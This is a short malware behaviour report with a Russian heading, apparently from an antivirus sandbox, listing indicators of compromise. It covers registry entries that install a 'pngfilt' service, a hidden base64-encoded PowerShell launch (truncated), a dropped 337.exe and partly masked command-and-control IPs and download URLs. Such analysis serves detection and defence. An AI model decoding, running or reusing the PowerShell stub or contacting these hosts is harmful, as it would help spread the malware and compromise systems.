Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\pngfilt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\pngfilt] 'ImagePath' = '"%WINDIR%\SysWOW64\pngfilt\pngfilt.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAHYAYwB3AG8AYQBmAGgAYQB4AGUAPQAnAEIAZwBhAG4AawBjAHkAbwBkAHkAegBpAHAAJwA7ACQAUQBvAG0AegBhAHoAbwB1AGEAIAA9ACAAJwAzADMANwAnADsAJABFAGoAbQBhAGIAbABoAHAAaQB2AGcAPQAnAFIAawBtAGMAcQB5AHQAegBiAG...
- %HOMEPATH%\337.exe
- %HOMEPATH%\337.exe в %WINDIR%\syswow64\pngfilt\pngfilt.exe
- '17#.#21.229.86':80
- '18#.#90.47.173':80
- '91.##6.4.234':443
- http://fe###nent.com/wp/UqU/
- http://18#.#90.47.173/ujx2Haqr31PI/1oai4FIK0g3tSakuu/F5OB9KlPEJY/AV1PRenQr1kL/2GXbjT6tb7H0yjcAxP/
- http://91.###.4.234:443/pyVPU49CyQ/squDWGQ/JqBj9mQ/ via 91.##6.4.234
- DNS ASK fe###nent.com
- '%HOMEPATH%\337.exe'
- '%WINDIR%\syswow64\pngfilt\pngfilt.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAHYAYwB3AG8AYQBmAGgAYQB4AGUAPQAnAEIAZwBhAG4AawBjAHkAbwBkAHkAegBpAHAAJwA7ACQAUQBvAG0AegBhAHoAbwB1AGEAIAA9ACAAJwAzADMANwAnADsAJABFAGoAbQBhAGIAbABoAHAAaQB2AGcAPQAnAFIAawBtAGMAcQB5AHQAegBiAG...' (со скрытым окном)